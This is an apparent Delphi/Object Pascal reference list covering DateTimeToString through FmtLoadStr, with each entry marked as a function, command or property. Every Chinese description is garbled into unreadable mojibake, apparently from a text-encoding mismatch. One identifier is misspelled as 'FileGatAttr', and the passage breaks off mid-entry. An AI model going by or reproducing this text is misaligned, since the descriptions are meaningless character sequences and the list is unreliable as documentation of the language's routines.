DateTimeToString º¯Êý ½«ÈÕÆÚʱ¼ä¸ñʽת»»Îª×Ö·û´®
DateToStr º¯Êý ½«ÈÕÆÚ¸ñʽת»»Îª×Ö·û´®
DayOfWeek º¯Êý ·µ»ØÐÇÆÚµÄÊýÖµ
Dec º¯Êý µÝ¼õ±äÁ¿Öµ
DecodeDate º¯Êý ½«ÈÕÆÚ¸ñʽ·Ö½âΪÄêÔÂÈÕ
DecodeTime º¯Êý ½«Ê±¼ä¸ñʽ·Ö½âΪʱ¡¢·Ö¡¢Ãë¡¢ºÁÃë
Delete º¯Êý ´Ó×Ö·û´®ÖÐɾ³ý×Ó´®
DeleteFile ÃüÁî ɾ³ýÎļþ
DiskFree º¯Êý ·µ»ØÊ£Óà´ÅÅ̿ռäµÄ´óС
DiskSize º¯Êý ·µ»ØÖ¸¶¨´ÅÅ̵ÄÈÝÁ¿
Dispose º¯Êý ÊͷŶ¯Ì¬±äÁ¿ËùÕ¼µÄ¿Õ¼ä
DisposeStr º¯Êý ÊÍ·Å×Ö·û´®ÔÚ¶ÑÕ»ÖеÄÄÚ´æ¿Õ¼ä
DitherBackground ÊôÐÔ Ê¹±³¾°É«µÄÉ«²Ê¼ÓÖØ»ò¼õÉÙ50%
DragCursor ÊôÐÔ µ±Êó±ê°´ÏÂʱ¹â±êµÄÐÎ×´
DragMode ÊôÐÔ °´¶¯µÄ×÷Ó÷½Ê½
DropDownCount ÊôÐÔ ÈÝÐíµÄÏÔʾÊý¾ÝÏîµÄÊýÄ¿
EditMask ÊôÐÔ ±à¼Ä£Ê½
Enabled ÊôÐÔ ÊÇ·ñʹ±êÇ©³ÊÏÖ´ò¿ª×´Ì¬
EncodeDate º¯Êý ½«ÄêÔÂÈպϳÉΪÈÕÆÚ¸ñʽ
EncodeTime º¯Êý ½«Ê±¡¢·Ö¡¢Ãë¡¢ºÁÃëºÏ³ÉΪʱ¼ä¸ñʽ
EndMargin ÊôÐÔ Ä©Î²±ßÔµ
Eof º¯Êý ¶ÔÓÐÀàÐÍ»òÎÞÀàÐÍÎļþ²âÊÔÊÇ·ñµ½Îļþβ
Eoln º¯Êý ·µ»ØÎı¾ÎļþµÄÐнáÊø×´Ì¬
Erase ÃüÁî ɾ³ýÍⲿÎļþ
ExceptAddr º¯Êý ·µ»ØÒýÆðµ±Ç°ÒâÍâµÄµØÖ·
Exclude º¯Êý ´Ó¼¯ºÏÖÐɾ³ýÒ»Ð©ÔªËØ
ExceptObject º¯Êý ·µ»Øµ±Ç°ÒâÍâµÄË÷Òý
Exit ÃüÁî Á¢¼´´Óµ±Ç°µÄÓï¾ä¿éÖÐÍ˳ö
Exp º¯Êý Ö¸Êýº¯Êý
ExpandFileName º¯Êý ·µ»Ø°üº¬¾ø¶Ô·¾¶µÄ×Ö·û´®
ExtendedSelect ÊôÐÔ ÊÇ·ñÔÊÐí´æÔÚÑ¡Ôñģʽ£¬Trueʱ£¬MultiSelect²ÅÓÐÒâÒå
ExtractFileDir º¯Êý ·µ»ØÇý¶¯Æ÷ºÍ·¾¶
ExtractFileExt º¯Êý ·µ»ØÎļþµÄºó׺
ExtractFileName º¯Êý ·µ»ØÎļþÃû
ExtractFilePath º¯Êý ·µ»ØÖ¸¶¨ÎļþµÄ·¾¶
FileAge º¯Êý ·µ»ØÎļþÒÑ´æÔÚµÄʱ¼ä
FileClose ÃüÁî ¹Ø±ÕÖ¸¶¨µÄÎļþ
FileCreate ÃüÁî ÓÃÖ¸¶¨µÄÎļþÃû½¨Á¢ÐÂÎļþ
FileDateToDateTime º¯Êý ½«DOSµÄÈÕÆÚ¸ñʽת»»ÎªDELPHIµÄÈÕÆÚ¸ñʽ
FileExists º¯Êý ¼ì²éÎļþÊÇ·ñ´æÔÚ
FileGatAttr º¯Êý ·µ»ØÎļþµÄÊôÐÔ
FileGetDate º¯Êý ·µ»ØÎļþµÄDOSÈÕÆÚʱ¼ä±ê¼Ç
FileOpen ÃüÁî ÓÃÖ¸¶¨µÄ´æÈ¡Ä£Ê½´ò¿ªÖ¸¶¨µÄÎļþ
FilePos º¯Êý ·µ»ØÎļþµÄµ±Ç°Ö¸ÕëλÖÃ
FileRead ÃüÁî ´ÓÖ¸¶¨µÄÎļþ¶ÁÈ¡
FileSearch ÃüÁî ÔÚĿ¼ÖÐËÑË÷Ö¸¶¨µÄÎļþ
FileSeek º¯Êý ¸Ä±äÎļþµÄÖ¸Õë
FileSetAttr º¯Êý ÉèÖÃÎļþÊôÐÔ
FileSetDate º¯Êý ÉèÖÃÎļþµÄDOSÈÕÆÚʱ¼ä±ê¼Ç
FileSize º¯Êý ·µ»Øµ±Ç°ÎļþµÄ´óС
FileWrite º¯Êý ¶ÔÖ¸¶¨µÄÎļþ×öд²Ù×÷
FillChar º¯Êý ÓÃÖ¸¶¨µÄÖµÌî³äÁ¬Ðø×Ö½ÚµÄÊý
FindClose ÃüÁî ÖÕÖ¹FindFirst/FindNextÐòÁÐ
FindFirst ÃüÁî ¶ÔÖ¸¶¨µÄÎļþÃû¼°ÊôÐÔËÑË÷Ŀ¼
FindNext ÃüÁî ·µ»ØÓëÎļþÃû¼°ÊôÐÔÆ¥ÅäµÄÏÂÒ»Èë¿Ú
FloatToDecimal º¯Êý ½«¸¡µãÊýת»»ÎªÊ®½øÖÆÊý
FloatToStrF º¯Êý ½«¸¡µãÊýת»»Îª×Ö·û´®
FloatToStr º¯Êý ½«¸¡µãÊýת»»Îª×Ö·û´®
FloatToText º¯Êý ½«¸ø¶¨µÄ¸¡µãÊýת»»ÎªÊ®½øÖÆÊý
FloatToTextFmt º¯Êý ½«¸ø¶¨µÄ¸¡µãÊýת»»ÎªÊ®½øÖÆÊý
Flush º¯Êý ½«»º³åÇøµÄÄÚÈÝˢе½Êä³öµÄÎı¾ÎļþÖÐ
FmtLoadStr º¯Êý ´Ó³ÌÐòµÄ×ÊÔ´×Ö·û´®±íÖÐ×°ÔØ×Ö·û´